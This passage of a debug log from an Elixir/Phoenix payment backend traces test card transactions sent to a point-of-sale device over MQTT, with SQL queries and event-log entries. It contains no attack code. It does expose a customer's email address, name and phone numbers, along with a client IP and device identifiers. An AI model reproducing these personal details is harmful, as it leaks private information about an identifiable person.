[Thu Sep  3 10:12:04.323000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{status: "online", username: "sonu73772@gmail.com", ts: 1788430324, device_id: "98251226730001", amount: 120}, event_name: "Response From Device Online Status", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:12:04.320424Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 10:12:04.367000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=43.0ms idle=465.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "sonu73772@gmail.com", ts: 1788430324, device_id: "98251226730001", amount: 120}, "Response From Device Online Status", "newtestTxn11", ~U[2026-09-03 10:12:04Z], 36, "response_from_device_online_status", ~N[2026-09-03 10:12:04], ~N[2026-09-03 10:12:04]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:12:04.367000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40167
[Thu Sep  3 10:12:04.367000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Publish payload 98251226730001: "{\"type\":\"card\",\"request_id\":\"newtestTxn11\",\"amount\":12000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 10:12:04.415000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=46.6ms queue=0.9ms idle=509.9ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}, "ch_28deedcfdda4@mercurypay.in", "98251226730001", "newtestTxn11", 4, Decimal.new("120"), %{}, "1", ~N[2026-09-03 10:12:04], ~N[2026-09-03 10:12:04]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 10:12:04.421000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=2.6ms idle=539.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:12:04.425000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=3.5ms queue=0.1ms idle=475.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:12:04.425000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "newtestTxn11"
Payload: %{
  username: "sonu73772@gmail.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
  ts: 1788430324,
  qos: 1,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 10:12:04.426000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    username: "sonu73772@gmail.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
    ts: 1788430324,
    qos: 1,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Request For Publish Txn",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:12:04.425922Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 10:12:04.426000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430324, qos: 1, device_id: "98251226730001", amount: 120}, event_name: "Request For Publish Txn", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:12:04.425922Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 10:12:04.483000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=51.5ms queue=5.7ms idle=381.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430324, qos: 1, device_id: "98251226730001", amount: 120}, "Request For Publish Txn", "newtestTxn11", ~U[2026-09-03 10:12:04Z], 37, "request_for_publish_txn", ~N[2026-09-03 10:12:04], ~N[2026-09-03 10:12:04]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:12:04.484000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40168
[Thu Sep  3 10:12:04.484000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730001/update with ref: #Reference<0.2525715032.1112276993.185965>
[Thu Sep  3 10:12:04.489000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Published successfully to topic2: ota/pos/12345678/98251226730001/sub with ref: #Reference<0.2525715032.1112276993.185969>
[Thu Sep  3 10:12:04.492000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=2.4ms idle=229.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:12:04.500000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=8.5ms idle=228.5ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:12:04.501000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "newtestTxn11"
Payload: %{
  error: nil,
  status: "success",
  username: "sonu73772@gmail.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
  ts: 1788430324,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 10:12:04.506000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "sonu73772@gmail.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
    ts: 1788430324,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Response From Publish Txn",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:12:04.505911Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 10:12:04.506000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430324, device_id: "98251226730001", amount: 120}, event_name: "Response From Publish Txn", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:12:04.505911Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 10:12:04.557000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=51.2ms idle=198.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430324, device_id: "98251226730001", amount: 120}, "Response From Publish Txn", "newtestTxn11", ~U[2026-09-03 10:12:04Z], 38, "response_from_publish_txn", ~N[2026-09-03 10:12:04], ~N[2026-09-03 10:12:04]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:12:04.558000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40169
[Thu Sep  3 10:12:04.559000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Publish successful to 98251226730001 with ref: #Reference<0.2525715032.1112276993.185969>
[Thu Sep  3 10:12:04.560000 2026] [Phoenix.Logger:info] [pid 2816631] [client 115.99.190.251:64628] Sent 200 in 312ms
[Thu Sep  3 10:13:03.114000 2026] [Phoenix.Logger:info] [pid 2816631] [client 115.99.190.251:64628] POST /api/device/initiate
[Thu Sep  3 10:13:03.115000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 115.99.190.251:64628] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}
  Pipelines: [:api]
[Thu Sep  3 10:13:03.115000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Processing card transaction for reference: newtestTxn11
[Thu Sep  3 10:13:03.126000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=2.1ms idle=1255.2ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:13:03.130000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=2.9ms idle=1256.5ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:13:03.130000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "newtestTxn11"
Payload: %{
  username: "sonu73772@gmail.com",
  amount: 120,
  account_label: "test",
  app_key: "test123",
  customer_mobile_number: 6201561171,
  external_ref_number: "newtestTxn11",
  external_ref_number_2: "ref2",
  external_ref_number_4: "ref4",
  external_ref_numbers: [],
  push_to: %{"deviceId" => "98251226730001"}
}

[Thu Sep  3 10:13:03.133000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    username: "sonu73772@gmail.com",
    amount: 120,
    account_label: "test",
    app_key: "test123",
    customer_mobile_number: 6201561171,
    external_ref_number: "newtestTxn11",
    external_ref_number_2: "ref2",
    external_ref_number_4: "ref4",
    external_ref_numbers: [],
    push_to: %{"deviceId" => "98251226730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:13:03.133858Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 10:13:03.135000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{username: "sonu73772@gmail.com", amount: 120, account_label: "test", app_key: "test123", customer_mobile_number: 6201561171, external_ref_number: "newtestTxn11", external_ref_number_2: "ref2", external_ref_number_4: "ref4", external_ref_numbers: [], push_to: %{"deviceId" => "98251226730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:13:03.133858Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 10:13:03.157000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=20.9ms queue=0.4ms idle=1265.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "sonu73772@gmail.com", amount: 120, account_label: "test", app_key: "test123", customer_mobile_number: 6201561171, external_ref_number: "newtestTxn11", external_ref_number_2: "ref2", external_ref_number_4: "ref4", external_ref_numbers: [], push_to: %{"deviceId" => "98251226730001"}}, "Initiate Card Txn Request", "newtestTxn11", ~U[2026-09-03 10:13:03Z], 35, "initiate_card_txn_request", ~N[2026-09-03 10:13:03], ~N[2026-09-03 10:13:03]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:13:03.162000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40170
[Thu Sep  3 10:13:03.163000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Handling card transaction:
- Reference: newtestTxn11
- Amount: 120
- Params: %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}

[Thu Sep  3 10:13:03.167000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=2.7ms idle=1291.9ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:13:03.171000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=2.0ms queue=2.1ms idle=1294.3ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:13:03.172000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "newtestTxn11"
Payload: %{
  status: "online",
  username: "sonu73772@gmail.com",
  ts: 1788430383,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 10:13:03.172000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "sonu73772@gmail.com",
    ts: 1788430383,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Response From Device Online Status",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:13:03.172232Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 10:13:03.172000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{status: "online", username: "sonu73772@gmail.com", ts: 1788430383, device_id: "98251226730001", amount: 120}, event_name: "Response From Device Online Status", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:13:03.172232Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 10:13:03.208000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=35.8ms idle=1037.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "sonu73772@gmail.com", ts: 1788430383, device_id: "98251226730001", amount: 120}, "Response From Device Online Status", "newtestTxn11", ~U[2026-09-03 10:13:03Z], 36, "response_from_device_online_status", ~N[2026-09-03 10:13:03], ~N[2026-09-03 10:13:03]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:13:03.208000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40171
[Thu Sep  3 10:13:03.209000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Publish payload 98251226730001: "{\"type\":\"card\",\"request_id\":\"newtestTxn11\",\"amount\":12000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 10:13:03.260000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=46.3ms idle=1037.6ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}, "ch_72282256d561@mercurypay.in", "98251226730001", "newtestTxn11", 4, Decimal.new("120"), %{}, "1", ~N[2026-09-03 10:13:03], ~N[2026-09-03 10:13:03]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 10:13:03.263000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=2.8ms idle=369.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:13:03.265000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=1.1ms idle=285.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:13:03.265000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "newtestTxn11"
Payload: %{
  username: "sonu73772@gmail.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
  ts: 1788430383,
  qos: 1,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 10:13:03.265000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    username: "sonu73772@gmail.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
    ts: 1788430383,
    qos: 1,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Request For Publish Txn",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:13:03.265742Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 10:13:03.266000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:64628] Creating custom event log with attributes: %{payload: %{username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430383, qos: 1, device_id: "98251226730001", amount: 120}, event_name: "Request For Publish Txn", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 10:13:03.265742Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 10:13:03.305000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK db=37.1ms idle=141.2ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788430383, qos: 1, device_id: "98251226730001", amount: 120}, "Request For Publish Txn", "newtestTxn11", ~U[2026-09-03 10:13:03Z], 37, "request_for_publish_txn", ~N[2026-09-03 10:13:03], ~N[2026-09-03 10:13:03]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:13:03.305000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Successfully created custom event log with ID: 40172
[Thu Sep  3 10:13:03.307000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730001/update with ref: #Reference<0.2525715032.1112276993.188979>
[Thu Sep  3 10:13:03.307000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:64628] Published successfully to topic2: ota/pos/12345678/98251226730001/sub with ref: #Reference<0.2525715032.1112276993.188988>
[Thu Sep  3 10:13:03.309000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="users" db=1.2ms idle=177.8ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:13:03.316000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:64628] QUERY OK source="custom_events" db=1.3ms queue=2.6ms idle=166.8ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:13:03.316000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "newtestTxn11"
Payload: %{
  error: nil,
  status: "success",
  username: "sonu73772@gmail.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
  ts: 1788430383,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 10:13:03.317000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:64628] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "sonu73772@gmail.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
    ts: 1788430383,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Response From Publish Txn",
